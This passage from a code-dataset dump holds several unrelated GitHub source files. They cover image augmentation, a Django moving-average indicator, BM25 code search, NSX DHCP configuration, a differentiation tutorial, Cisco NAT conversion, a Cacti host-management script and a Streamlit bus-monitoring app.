test function\n test_room_code(room_codes)\n \n#Auto-run main on launch\nif __name__ == \"__main__\":\n main()\n","repo_name":"jmac556/JB_bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70698069849","text":"# --------------------------------------------------------\r\n# SSD @ Dragon\r\n# Copyright(c) 2017 SeetaTech\r\n# Written by Ting Pan\r\n# --------------------------------------------------------\r\n\r\nimport cv2\r\nimport PIL.Image\r\nimport PIL.ImageEnhance\r\nimport numpy as np\r\nimport numpy.random as npr\r\nfrom config import cfg\r\n\r\nclass Distortor(object):\r\n def __init__(self, **params):\r\n self._brightness_prob = params.get('brightness_prob', 0.0)\r\n self._brightness_delta = 0.3\r\n self._contrast_prob = params.get('contrast_prob', 0.0)\r\n self._contrast_delta = 0.3\r\n self._saturation_prob = params.get('sauration_prob', 0.0)\r\n self._saturation_delta = 0.3\r\n\r\n def distort_image(self, im):\r\n im = PIL.Image.fromarray(im)\r\n if npr.uniform() < self._brightness_prob:\r\n delta_brightness = npr.uniform(-self._brightness_delta, self._brightness_delta) + 1.0\r\n im = PIL.ImageEnhance.Brightness(im)\r\n im = im.enhance(delta_brightness)\r\n if npr.uniform() < self._contrast_prob:\r\n delta_contrast = npr.uniform(-self._contrast_delta, self._contrast_delta) + 1.0\r\n im = PIL.ImageEnhance.Contrast(im)\r\n im = im.enhance(delta_contrast)\r\n if npr.uniform() < self._saturation_prob:\r\n delta_saturation = npr.uniform(-self._contrast_delta, self._contrast_delta) + 1.0\r\n im = PIL.ImageEnhance.Color(im)\r\n im = im.enhance(delta_saturation)\r\n im = np.array(im)\r\n return im\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n distortor = Distortor(**cfg.TRAIN.DISTORT_PARAM)\r\n while True:\r\n im = cv2.imread('cat.jpg')\r\n im = distortor.distort_image(im)\r\n cv2.imshow('Distort', im)\r\n cv2.waitKey(0)","repo_name":"lz20061213/SSD-QUAD-LMDB","sub_path":"core/preprocessing/distort.py","file_name":"distort.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"1597207005","text":"from django.db import models\nfrom apps.indicator.models.abstract_indicator import AbstractIndicator\nfrom apps.indicator.models import price_resampl\nfrom settings import time_speed\nimport numpy as np\nimport pandas as pd\nfrom datetime import timedelta, datetime\nimport logging\n\nlogger = logging.getLogger(__name__)\nSMA_LIST = [9, 20, 26, 30, 50, 52, 60, 120, 200]\n\nclass Sma(AbstractIndicator):\n\n sma_period = models.PositiveSmallIntegerField(null=False, default=50)\n sma_high_price = models.BigIntegerField(null=True)\n sma_close_price = models.BigIntegerField(null=True)\n sma_midpoint_price = models.BigIntegerField(null=True)\n\n\n class Meta:\n indexes = [\n models.Index(fields=['source', 'resample_period', 'counter_currency', 'transaction_currency', 'sma_period']),\n ]\n\n\n def _compute_sma(self):\n # get neccesary records from price_resample\n resampl_prices_df = price_resampl.get_n_last_resampl_df(\n self.resample_period * self.sma_period + 5,\n self.source,\n self.transaction_currency,\n self.counter_currency,\n self.resample_period\n )\n resampl_close_price_ts = resampl_prices_df.close_price\n resampl_high_price_ts = resampl_prices_df.high_price\n resampl_midpoint_price_ts = resampl_prices_df.midpoint_price\n time_max = np.max(resampl_prices_df.index)\n\n # reduce sma window if we are in test mode\n sma_window = int(self.sma_period/time_speed)\n\n #calculte sma if one third of the nessesary time points are present\n min_per = int(sma_window/4) if sma_window > 10 else None\n\n if not resampl_close_price_ts.empty:\n sma_close_ts = resampl_close_price_ts.rolling(window=sma_window, center=False, min_periods=min_per).mean()\n if not np.isnan(sma_close_ts[time_max]):\n self.sma_close_price = int(sma_close_ts[time_max])\n else:\n logger.debug(' Not enough CLOSE prices for SMA calculation, resample_period=' + str(self.resample_period) )\n\n if not resampl_high_price_ts.empty:\n # calculate SMA\n sma_high_ts = resampl_high_price_ts.rolling(window=sma_window, center=False, min_periods=min_per).mean()\n if not np.isnan(sma_high_ts[time_max]):\n self.sma_high_price = int(sma_high_ts[time_max])\n else:\n logger.debug(' Not enough HIGH prices for SMA calculation, resample_period=' + str(self.resample_period) )\n\n\n if not resampl_midpoint_price_ts.empty:\n sma_midpoint_ts = resampl_midpoint_price_ts.rolling(window=sma_window, center=False, min_periods=min_per).mean()\n if not np.isnan(sma_midpoint_ts[time_max]):\n self.sma_midpoint_price = int(sma_midpoint_ts[time_max])\n else:\n logger.debug(' Not enough MIDPOINT prices for SMA calculation, resample_period=' + str(self.resample_period))\n\n\n @staticmethod\n def compute_all(cls,**kwargs):\n # todo - avoid creation empty record if no sma was computed..it also mith be fine\n for sma_period in SMA_LIST:\n try:\n sma_instance = cls.objects.create(**kwargs, sma_period = sma_period)\n sma_instance._compute_sma()\n sma_instance.save()\n except Exception as e:\n logger.error(\" SMA \" + str(sma_period) + \" Compute Exception: \" + str(e))\n logger.info(\" ...All SMA calculations have been done and saved.\")\n\n\n\n\n\n####################### get n last sma records as a DataFrame\n# NOTE : dont use **kwarg because we dont use time parameter here, to avoid confusion\ndef get_n_last_sma_df(n, sma_period, source, transaction_currency, counter_currency, resample_period):\n\n last_prices = list(Sma.objects.filter(\n timestamp__gte=datetime.now() - timedelta(minutes=(resample_period * sma_period * n)),\n source=source,\n transaction_currency=transaction_currency,\n counter_currency=counter_currency,\n resample_period=resample_period,\n sma_period=sma_period,\n ).order_by('-timestamp').values('timestamp','sma_close_price','sma_midpoint_price'))\n\n df = pd.DataFrame()\n if last_prices:\n ts = [rec['timestamp'] for rec in last_prices]\n sma_close_prices = pd.Series(data=[rec['sma_close_price'] for rec in last_prices], index=ts)\n sma_midpoint_prices = pd.Series(data=[rec['sma_midpoint_price'] for rec in last_prices], index=ts)\n\n df['sma_close_price'] = sma_close_prices\n df['sma_midpoint_price'] = sma_midpoint_prices\n\n return df.iloc[::-1]\n","repo_name":"kamleshahire/core","sub_path":"apps/indicator/models/sma.py","file_name":"sma.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"34271109002","text":"from rank_bm25 import BM25Okapi\nimport json\nfrom metrics import get_metrics_scores, metrics_scores_to_dict_singles\nimport argparse\nimport os\n\ndef extract_corpus_and_queryes(data):\n search_corpus = [code_info['body'] for code_info in data]\n search_queries = [code_info['query'] for code_info in data]\n return search_corpus, search_queries\n\ndef calculate_bm25_corpus(search_corpus):\n preprocessed_code = [code_snippet.split(\" \") for code_snippet in search_corpus]\n\n return BM25Okapi(preprocessed_code)\n\ndef extract_relevant_data(workdir, setting):\n path = workdir + '/../preprocessing/'\n if setting == 'staqc':\n file_name = 'test_data_staqc.json'\n elif setting == 'csn':\n\n file_name = 'codesearchnet_1test.json'\n \n with open(path + file_name, 'r') as f:\n code_data = json.load(f)\n return code_data\n\ndef compute_similarities(bm25, search_queries, search_corpus):\n scores = []\n for i in range(len(search_queries)):\n preprocessed_query = search_queries[i].split(\" \")\n recom = bm25.get_top_n(preprocessed_query, search_corpus, n=10)\n predict = [search_corpus.index(code) for code in recom]\n scores.append(get_metrics_scores([i], predict))\n return scores\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--exper_setting', type=str, default = 'csn')\n settings = parser.parse_args()\n working_dir = os.getcwd()\n code_data = extract_relevant_data(working_dir, settings.exper_setting)\n\n search_corpus, search_queries =extract_corpus_and_queryes(code_data)\n bm25 = calculate_bm25_corpus(search_corpus)\n scores=compute_similarities(bm25, search_queries, search_corpus)\n\n metrics_dict = metrics_scores_to_dict_singles(scores)\n with open('scores_bm25_csn.json', 'w') as f:\n json.dump(metrics_dict, f)\n","repo_name":"AshleyvCan/TransferLearningCodeSearch","sub_path":"models/baseline_models/calculate_bm25.py","file_name":"calculate_bm25.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73761267608","text":"import netaddr\nfrom neutron_lib.api import validators\nfrom neutron_lib import constants\n\nfrom vmware_nsxlib.v3 import utils\n\n\nclass NsxLibNativeDhcp(utils.NsxLibApiBase):\n\n def build_server_config(self, network, subnet, port, tags,\n default_dns_nameservers=None,\n default_dns_domain=None):\n # Prepare the configuration for a new logical DHCP server.\n server_ip = \"%s/%u\" % (port['fixed_ips'][0]['ip_address'],\n netaddr.IPNetwork(subnet['cidr']).prefixlen)\n dns_nameservers = subnet['dns_nameservers']\n if not dns_nameservers or not validators.is_attr_set(dns_nameservers):\n # use the default one , or the globally configured one\n if default_dns_nameservers is not None:\n dns_nameservers = default_dns_nameservers\n else:\n dns_nameservers = self.nsxlib_config.dns_nameservers\n gateway_ip = subnet['gateway_ip']\n if not validators.is_attr_set(gateway_ip):\n gateway_ip = None\n\n # The following code is based on _generate_opts_per_subnet() in\n # neutron/agent/linux/dhcp.py. It prepares DHCP options for a subnet.\n\n # Add route for directly connected network.\n host_routes = [{'network': subnet['cidr'], 'next_hop': '0.0.0.0'}]\n # Copy routes from subnet host_routes attribute.\n for hr in subnet['host_routes']:\n if hr['destination'] == constants.IPv4_ANY:\n if not gateway_ip:\n gateway_ip = hr['nexthop']\n else:\n host_routes.append({'network': hr['destination'],\n 'next_hop': hr['nexthop']})\n # If gateway_ip is defined, add default route via this gateway.\n if gateway_ip:\n host_routes.append({'network': constants.IPv4_ANY,\n 'next_hop': gateway_ip})\n\n options = {'option121': {'static_routes': host_routes}}\n name = utils.get_name_and_uuid(network['name'] or 'dhcpserver',\n network['id'])\n dns_domain = network.get('dns_domain')\n if dns_domain:\n domain_name = dns_domain['dns_domain']\n else:\n # use the default one , or the globally configured one\n if default_dns_domain is not None:\n domain_name = default_dns_domain\n else:\n domain_name = self.nsxlib_config.dns_domain\n\n return {'name': name,\n 'server_ip': server_ip,\n 'dns_nameservers': dns_nameservers,\n 'domain_name': domain_name,\n 'gateway_ip': gateway_ip,\n 'options': options,\n 'tags': tags}\n","repo_name":"mail2nsrajesh/vmware-nsxlib","sub_path":"vmware_nsxlib/v3/native_dhcp.py","file_name":"native_dhcp.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23678472729","text":"#######################################\n#计算机上的微分\n# 计算库 Sympy 解析微分\n# 数值微分:有限差分近似 (Finite Difference)\n# 自动微分:科学计算与人工智能的交叉 (Auto Differentiation)\n#######################################\n#In[]sympy做解析函数微分\n# Step1: 定义自变量符号\n# Step2: 定义解析函数的形式\n# Step3: 使用 sympy.diff 函数返回函数的微分结果\n# 详细见5.1 sympy专题\nimport sympy \n\n# Step1: define the variable\nx = sympy.symbols(\"x\")\n# Step2: define the function \ndef f(x):\n return x * sympy.exp(- x**2)\n\nf(x)\n#$\\displaystyle x e^{- x^{2}}$\n# Step3: calc the differentiation\n\nsympy.diff(f(x), x)\n\n#$\\displaystyle - 2 x^{2} e^{- x^{2}} + e^{- x^{2}}$\n\n#################小技巧1###################################\n# 写文章的时候打 Latex 公式很麻烦,可以将 sympy 的计算结果输出为 latex 代码。\n\ndfdx = sympy.diff(f(x), x)\n\nsympy.print_latex(dfdx)\n#- 2 x^{2} e^{- x^{2}} + e^{- x^{2}}\n\n#################小技巧2######################################\n#使用 subs 函数可以临时将 dfdx 中的 x 替换为特定数值\n\ndfdx.subs(x, 1)\n#$\\displaystyle -0.367879441171442$\ndfdx.subs(x, 0)\n#$\\displaystyle 1$\n\n\n\n\n\n\n##################################################################\n#数值微分:有限差分近似\n#$$ {df \\over dx} = {\\rm lim}_{\\Delta x\\rightarrow 0} {f(x+ \\Delta x) - f(x) \\over \\Delta x } $$\n#In[]\ndef finite_difference(func, x, dx=0.01):\n assert(dx != 0)\n return (func(x+dx) - func(x)) / dx\n\nfinite_difference(f, 0.0)\n#$\\displaystyle 0.999900004999833$\n#$$ {df \\over dx} = - 2 x^{2} e^{- x^{2}} + e^{- x^{2}}$$\n#解析微分在 x=0 处精确值为 1\n#有限差分法在 x=0 处得到近似的数值解: 0.999900004999833\n#In[]\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# 这里作图看一下有限差分方法的误差\ndef comparison(dx):\n xcoord = np.linspace(0, np.pi, 200)\n # 解析微分的结果——之前计算的有,带入了x的值\n dfdx_ana = [dfdx.subs(x, xi) for xi in xcoord]\n # 有限差分的结果,dx默认0.01,\n dfdx_num = [finite_difference(f, xi, dx) for xi in xcoord] \n \n plt.plot(xcoord, dfdx_num, 'ko--', label=\"finite difference\")\n plt.plot(xcoord, dfdx_ana, 'r-', label=\"sympy: analytic\")\n \n plt.legend(loc='best')\n plt.xlabel(r\"$x$\")\n plt.ylabel(r\"$df/dx$\")\n# dx 小的时候,有限差分比较准确\ncomparison(dx=0.001)\ncomparison(dx=1)\n\nfrom ipywidgets import interact\n\n# 移动滑钮看到 dx 大的时候,有限差分误差较大\ninteract(comparison, dx=(0.001, 1))\n\n#In[]对比sqrt(x) 差分和解析的精度\ndef f(x):\n return sympy.sqrt(x)\ndfdx = sympy.diff(f(x), x)\ninteract(comparison, dx=(0.001, 1))\n\n# %%\n#自动微分Auto-differentiation\n'''\n自动微分编程是一个最近很流行的研究方向。这种方法与传统的数值微分和解析微分都有所不同。\n\n 数值微分:会引入数值误差\n 解析微分:在函数复杂的时候,根据链式规则,展开项很多,计算速度慢\n \n自动微分保留了数值微分速度快和解析微分结果精确的优点,正成为一种新的计算物理编程范式。\n\n自动微分在人工智能时代开始流行,因为 Tensorflow, pytorch 等深度学习库封装了自动微分功能。\n\nhttps://www.robots.ox.ac.uk/~tvg/publications/talks/autodiff.pdf\n\n自动微分通过在计算机上实现一些基本算术操作的微分,加上链式规则,自动从用户编写的函数 f(x),推导出它的微分 f'(x)。\n\n自动微分广泛应用于,\n\n 人工智能 $ \\theta = \\theta - \\epsilon \\partial L / \\partial \\theta$\n 逆问题 $y = f(x) \\rightarrow x = f^{-1}(y)$\n 牛顿法寻根 $x_{n+1} = x_{n} - f(x_n) / f'(x_n)$\n Stiff 常微分方程 $df / dt = s$\n\n方法:把所有的数加上一个对偶数 $x \\rightarrow x + \\dot{x} \\mathbf{d}$\n\n其中 $\\mathbf{d}$ 是一个符号,像虚数的表示符号 $i$ 一样。不同的是,$i^2 = -1$, 此处 $\\mathbf{d}^2 = 0$.\n\n使用这种方法, 用户定义的函数会自动出现一个对偶的自动微分项, 以 $\\mathbf{d}$ 标示.\n'''\n#In[]\nimport sympy\nimport numpy as np\n# 简单举例 f(x) = x e^{-x^2}\ndef f1(x):\n w1 = x\n w2 = w1 * w1\n w3 = np.exp(- w2)\n w4 = w1 * w3\n return w4\n\nf1(1.0)\n#0.36787944117144233\n\n\n## 自动微分版本\ndef f_ad(x):\n w1 = x\n dw1 = 1\n \n w2 = w1 * w1\n dw2 = 2 * w1 * dw1\n \n w3 = np.exp(-w2)\n dw3 = - np.exp(-w2) * dw2\n \n w4 = w1 * w3\n dw4 = w1 * dw3 + dw1 * w3\n \n return w4, dw4\nf_ad(1.0)\n#(0.36787944117144233, -0.36787944117144233)\n\n# %%\n#######################################################\n'''\n运算符重载的方法实现自动微分编程\n举例:计算机如何做复数的加减乘除\n\n\\begin{align} z_1 &= x_1 + i y_1 \\\\ z_2 &= x_2 + i y_2 \\end{align}\n底层语言只实现了实数的加减乘除,但是使用复数库,可以直接计算\n\n$z_1 + z_2$\n$z_1 - z_2$\n$z_1 * z_2$\n$z_1 / z_2$\n复数库对 +, -, *, / 符号做了重载\n'''\n#In[]\nclass DNumber:\n '''自动微分中的对偶数类,对 +, -, *, /,幂次符号做了重载'''\n def __init__(self, x, dx):\n self.val = x\n self.dval = dx\n \n def __repr__(self):\n '''使用 print(DNumber(1, 2)) 时输出:1 + 2 d'''\n return f'{self.val} + {self.dval} d'\n \n def __add__(self, other):\n '''overload a + b'''\n if isinstance(other, float) or isinstance(other, int):\n val = self.val + other\n dval = self.dval\n if isinstance(other, DNumber):\n val = self.val+other.val\n dval = self.dval + other.dval\n \n return DNumber(val, dval)\n \n def __iadd__(self, other):\n '''overload a += b'''\n self.val = self.val + other.val\n self.dval = self.dval + other.dval\n return self\n \n def __mul__(self, other):\n ''' overload x * y or const * x\n (x + dx d)*(y + dy d) = x*y + (xdy + ydx) d'''\n if isinstance(other, float) or isinstance(other, int):\n val = other * self.val\n dval = other * self.dval\n \n if isinstance(other, DNumber):\n val = self.val * other.val\n dval = self.val * other.dval + other.val * self.dval\n \n return DNumber(val, dval)\n \n def __rmul__(self, other):\n return self.__mul__(other)\n \n def __pow__(self, n):\n if isinstance(n, float) or isinstance(n, int):\n val = self.val**n\n dval = n * self.val**(n-1) * self.dval\n elif isinstance(n, DNumber) :\n raise(Exception(\"Pow(DNumber, DNumber) is not implemented yet\"))\n return DNumber(val, dval)\n \n #缺少个转置的算法\n \ns = DNumber(0.1, 1)\ns + DNumber(0.2, 0)\n#0.30000000000000004 + 1 d\ns += DNumber(0.2, 0)\ns\n#0.30000000000000004 + 1 d\nx = DNumber(0.1, 1)\nx * x\n#0.010000000000000002 + 0.2 d\nx**3\n#0.0010000000000000002 + 0.030000000000000006 d\n\n\n#In[]\n'''\n多个变量的自动微分\n上面例子中 f(x) 是 x 的单变量函数,$\\dot{x}=1$.\n\n如果是多变量函数 f(x, y), 要求对 x 求微分,则应取\n\n$\\dot{x}=1, \\dot{y}=0$.\n\n举例说明:\n\n$f(x, y)= 3 x^2 y + x$\n\n${\\partial f \\over \\partial x} = 6 x y + 1$\n\n在 (x, y) = (1, 1) 时,$f(x, y)=4.0$, $df/dx = 7.0$。\n'''\ndef f2d(x, y):\n '''\n Args: \n :x: DNumber\n :y: DNumber\n :return: f(x, y) = 3*x**2*y + x \n and \\partial f/\\partial x '''\n return 3 * x**2 * y + x\n# 求 (x,y)=(1,1) 时 f(x, y) 与 df/dx\nx = DNumber(1.0, 1.0)\ny = DNumber(1.0, 0.0)\nprint(\"x =\", x)\nprint(\"y =\", y)\nprint(\"3x^2 y + x = \", f2d(x, y))\n#x = 1.0 + 1.0 d\n#y = 1.0 + 0.0 d\n#x^2 y + x = 4.0 + 7.0 d\n#偏微分见5.1 \n#复数的偏微分和转置都没有尝试\n\n# %%\n","repo_name":"xinzhifumeng/learn","sub_path":"python-test/learn-计算物理/5.计算机上的微分.py","file_name":"5.计算机上的微分.py","file_ext":"py","file_size_in_byte":7818,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"16082370112","text":"# -*- coding: utf-8 -*-\n\"\"\"\nЗадание 15.3\n\nСоздать функцию convert_ios_nat_to_asa, которая конвертирует правила NAT из синтаксиса cisco IOS в cisco ASA.\n\nФункция ожидает такие аргументы:\n- имя файла, в котором находится правила NAT Cisco IOS\n- имя файла, в который надо записать полученные правила NAT для ASA\n\nФункция ничего не возвращает.\n\nПроверить функцию на файле cisco_nat_config.txt.\n\nПример правил NAT cisco IOS\nip nat inside source static tcp 10.1.2.84 22 interface GigabitEthernet0/1 20022\nip nat inside source static tcp 10.1.9.5 22 interface GigabitEthernet0/1 20023\n\nИ соответствующие правила NAT для ASA:\nobject network LOCAL_10.1.2.84\n host 10.1.2.84\n nat (inside,outside) static interface service tcp 22 20022\nobject network LOCAL_10.1.9.5\n host 10.1.9.5\n nat (inside,outside) static interface service tcp 22 20023\n\nВ файле с правилами для ASA:\n- не должно быть пустых строк между правилами\n- перед строками \"object network\" не должны быть пробелы\n- перед остальными строками должен быть один пробел\n\nВо всех правилах для ASA интерфейсы будут одинаковыми (inside,outside).\n\"\"\"\n\n#!/usr/bin/env python3\n\nfrom pprint import pprint\nimport re\n\ndef convert_ios_nat_to_asa(filename, filename2):\n final = []\n template = [\n 'object network LOCAL_{}', \n ' host {}',\n ' nat (inside,outside) static interface service tcp {} {}\\n'#без \\n-перевода строки в файл asa_nat_config.txt не пишется object, последняя строчка и следующая сливаются - nat (inside,outside) static interface service tcp 995 995object network LOCAL_10.66.0.21\n ]\n regex = re.compile(r'(?P[\\d\\.]+\\d) '\n r'(?P\\d+) \\w+ \\S+ '\n r'(?P\\d+)')\n with open(filename) as src, open(filename2, 'w') as dest:\n for line in src:\n result = regex.search(line)\n if result:\n ip = result.group('ip')\n port1 = result.group('port1')\n port2 = result.group('port2')\n final.append('\\n'.join(template).format(ip, ip, port1, port2))\n dest.write('\\n'.join(template).format(ip, ip, port1, port2))\n\n return(final)\nfinal = convert_ios_nat_to_asa('cisco_nat_config.txt', 'asa_nat_config.txt')\npprint(final)\n'''\n['object network LOCAL_10.66.0.13\\n'\n ' host 10.66.0.13\\n'\n ' nat (inside,outside) static interface service tcp 995 995',\n 'object network LOCAL_10.66.0.21\\n'\n ' host 10.66.0.21\\n'\n ' nat (inside,outside) static interface service tcp 20065 20065',\n 'object network LOCAL_10.66.0.22\\n'\n ' host 10.66.0.22\\n'\n ' nat (inside,outside) static interface service tcp 443 44443',\n ...\n '''","repo_name":"lukichevanton/pyneng","sub_path":"15_module_re/task_15_3.py","file_name":"task_15_3.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41986561705","text":"from django.urls import path\nfrom .views import store,cart,checkout,updateCart,processOrder,prev_order,register,loginUser,logoutUser,product,home\n\nurlpatterns = [\n path('store/', store,name=\"store\"),\n path('', home,name=\"home\"),\n path('cart/', cart, name=\"cart\"),\n path('product/', product,name=\"product\"),\n path('checkout/', checkout, name=\"checkout\"),\n path('updatecart/', updateCart,name=\"update_cart\"),\n path('process_order/',processOrder,name=\"process_order\"),\n path('prev_order/',prev_order, name=\"prev_order\"),\n path('register/',register, name=\"register\"),\n path('login/',loginUser, name=\"login\"),\n path('logout/',logoutUser,name=\"logout\")\n]\n","repo_name":"SambhavG99/Ecommerce-Web---Django","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10428719105","text":"# -*- coding: utf-8 -*-\nimport os\n\n\n# Classe de cores do Terminal\nclass Bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\n# Função para inserir cor no texto\ndef colors(text, color, bold='false'):\n out = \"\"\n if color == \"red\":\n out = Bcolors.FAIL + text + Bcolors.ENDC\n elif color == \"blue\":\n out = Bcolors.OKBLUE + text + Bcolors.ENDC\n elif color == \"green\":\n out = Bcolors.OKGREEN + text + Bcolors.ENDC\n elif color == \"yellow\":\n out = Bcolors.WARNING + text + Bcolors.ENDC\n elif color == \"pink\":\n out = Bcolors.HEADER + text + Bcolors.ENDC\n\n if bold == 'true':\n return Bcolors.BOLD + out\n return out\n\n\n# Constantes\ncli = '/var/www/html/cacti/cli/'\nos.system('clear')\n# ASCII do Cacto\nprint(colors(\n \",*-.\\n | |\\n ,. | |\\n | |_| | ,.\\n `---. |_| \"\n \"|\\n | .--`\\n | |\\n | | \",\n 'green', 'false'))\nprint(colors(\"Pamcary Tech Team - Gerenciamento de Hosts Cacti\", \"red\", \"true\"))\nprint(colors(\"\\nSelecione a opção.\", \"red\", \"false\"))\nprint(colors(\"\\n1 - Inserir hosts\\n2 - Remover hosts\", \"green\", \"false\"))\ndecision1 = input(colors(\"\\nOpção: \", 'blue', 'true'))\nos.system('clear')\nif decision1 == \"1\":\n print(colors(\n \" ,*-.\\n | |\\n ,. | |\\n | |_| | ,.\\n `---. |_| |\\n | .--`\\n | |\\n | | \",\n 'green', 'false'))\n print(colors(\"Pamcary Tech Team - Gerenciamento de Hosts Cacti\", \"red\", \"true\"))\n print(colors(\"\\n Inserção de hosts\", \"blue\", \"true\"))\n print(colors(\"\\n Selecione o SO dos hosts a serem adicionados.\", \"red\", \"false\"))\n print(colors(\n \"\\n O arquivo deve estar neste diretório e se chamar, respectivamente, \\\"linux.txt\\\" ou \\\"windows.txt\\\"\",\n \"yellow\", \"false\"))\n print(colors(\"\\n 1 - Linux\\n 2 - Windows\", \"green\", \"false\"))\n decision = input(colors(\"\\n Opção: \", 'blue', 'true'))\n if decision == \"1\":\n template = 7\n os.system('clear')\n print(colors('\\n\\n Inserindo máquinas Linux no banco do Cacti', 'green', 'false'))\n file = open('linux.txt', 'r')\n elif decision == \"2\":\n template = 6\n os.system('clear')\n print(colors('\\n\\n Inserindo máquinas Windows no banco do Cacti', 'green', 'false'))\n file = open('windows.txt', 'r')\n site = 0\n for line in file:\n fields = line.split(';')\n ip = fields[0].rstrip()\n description = fields[1].rstrip()\n if \"192.168.128\" in ip or \"200.192.\" in ip:\n print(\n colors('\\nDescriçao: ', 'red') +\n colors(description, 'blue') +\n colors(' IP: ', 'red') +\n colors(ip, 'blue') +\n colors(' Site: ', 'red'),\n colors('UOl Diveo', 'blue')\n )\n site = 1\n else:\n print(\n colors('\\nDescriçao: ', 'red') +\n colors(description, 'blue') +\n colors(' IP: ', 'red') +\n colors(ip, 'blue') +\n colors(' Site: ', 'red'),\n colors('DC Pamcary', 'blue')\n )\n site = 2\n cmd = f'php {cli}add_device.php --description={description} --ip={ip} --template={template} --site={site}'\n # decision = input(\"Comando:\"+cmd+\"\\nDeseja continuar (y)\")\n # if decision == \"y\":\n # os.system('clear')\n # test = description.split()\n if \"gps-\" in description and template == 7:\n print(\"Ignorando host: \" + description)\n elif \"pam-\" in description and template == 7:\n print(\"Ignorando host: \" + description)\n else:\n print('\\n' + cmd + '\\n')\n os.system(cmd)\n # print(cmd)\n file.close()\n # os.system('clear')\n print(colors('\\n\\n Máquinas inseridas.\\n\\n', 'green', 'true'))\nif decision1 == \"2\":\n print(colors(\n \" ,*-.\\n | |\\n ,. | |\\n | |_| | ,.\\n `---. |_| |\\n | .--`\\n | |\\n | | \",\n 'green', 'false'))\n print(colors(\"Pamcary Tech Team - Gerenciamento de Hosts Cacti\", \"red\", \"true\"))\n print(colors(\"\\n Remoção de hosts\", \"blue\", \"true\"))\n print(\n colors(\"\\n O arquivo remove.txt deve estar neste diretório e conter apenas um hostname por linha.\", \"yellow\",\n \"false\"))\n print(colors(\"\\n Digite o IP do host a ser removido, \\\"f\\\" para remover todos os hosts incluidos em remove.txt.\",\n \"red\", \"false\"))\n ip = input(\" \")\n if ip == \"f\":\n file = open('remove.txt', 'r')\n for line in file:\n fields = line.split(';')\n ip = fields[0].rstrip()\n description = fields[1].rstrip()\n cmd = f\"php {cli}remove_device.php --confirm --description={description}\"\n print(cmd)\n print('\\n')\n os.system(cmd)\n elif ip == \"p\":\n file = open('linux.txt', 'r')\n for line in file:\n fields = line.split(';')\n ip = fields[0].rstrip()\n description = fields[1].rstrip()\n if \"gps-\" in description:\n cmd = f\"php {cli}remove_device.php --confirm --description={description}\"\n print(\n colors('\\nRemovendo host ', 'red') +\n colors(description, 'blue') +\n colors(' IP: ', 'red') +\n colors(ip, 'blue')\n )\n print(cmd)\n os.system(cmd)\n elif \"pam-\" in description:\n cmd = f\"php {cli}remove_device.php --confirm --description={description} \"\n print(\n colors('\\nRemovendo host ', 'red') +\n colors(description, 'blue') +\n colors(' IP: ', 'red') +\n colors(ip, 'blue')\n )\n print(cmd)\n os.system(cmd)\n else:\n cmd = f\"php {cli}remove_device.php --ip={ip} --confirm\"\n print(cmd)\n os.system(\" \" + cmd)\n","repo_name":"TechSlave/python-projects","sub_path":"cacti/cacti.py","file_name":"cacti.py","file_ext":"py","file_size_in_byte":6522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36864793545","text":"import streamlit as st\nimport psycopg2\nimport pandas as pd\nfrom math import sin, cos, sqrt, atan2, radians\nimport folium\nfrom streamlit_autorefresh import st_autorefresh\nfrom streamlit_folium import folium_static\n\nst.set_page_config(\n page_title=\"BusMonitor\",\n page_icon=\"🚌\",\n initial_sidebar_state=\"collapsed\",\n)\n\nst.title('BusMonitor: An Elegant Bus Monitoring System')\n\n# Haversine formula to calculate the distance between two lat/long points\ndef haversine(lon1, lat1, lon2, lat2):\n R = 6371.0 # Radius of the Earth in kilometers\n dlat = radians(lat2 - lat1)\n dlon = radians(lon2 - lon1)\n a = sin(dlat / 2)**2 + cos(radians(lat1)) * cos(radians(lat2)) * sin(dlon / 2)**2\n c = 2 * atan2(sqrt(a), sqrt(1 - a))\n return R * c\n\ndef calculate_distance(group):\n distance = 0\n for i in range(1, len(group)):\n lon1, lat1, lon2, lat2 = group.iloc[i-1]['longitude'], group.iloc[i-1]['latitude'], group.iloc[i]['longitude'], group.iloc[i]['latitude']\n distance += haversine(lon1, lat1, lon2, lat2)\n return distance\n\ndef calculate_average_speed(group):\n distance = 0\n for i in range(1, len(group)):\n lon1, lat1, lon2, lat2 = group.iloc[i-1]['longitude'], group.iloc[i-1]['latitude'], group.iloc[i]['longitude'], group.iloc[i]['latitude']\n distance += haversine(lon1, lat1, lon2, lat2)\n\n time_difference = (group.iloc[-1]['measurement_time'] - group.iloc[0]['measurement_time']).total_seconds() / 3600 # Difference in hours\n if time_difference == 0:\n return 0 # To avoid division by zero\n return distance / time_difference\n\n# Initialize connection\n@st.cache_resource\ndef init_connection():\n return psycopg2.connect(**st.secrets[\"postgres\"])\n\nconn = init_connection()\n\n# Perform query\n@st.cache_data(ttl=5)\ndef run_query(query):\n with conn.cursor() as cur:\n cur.execute(query)\n return cur.fetchall()\n\nbus_query = 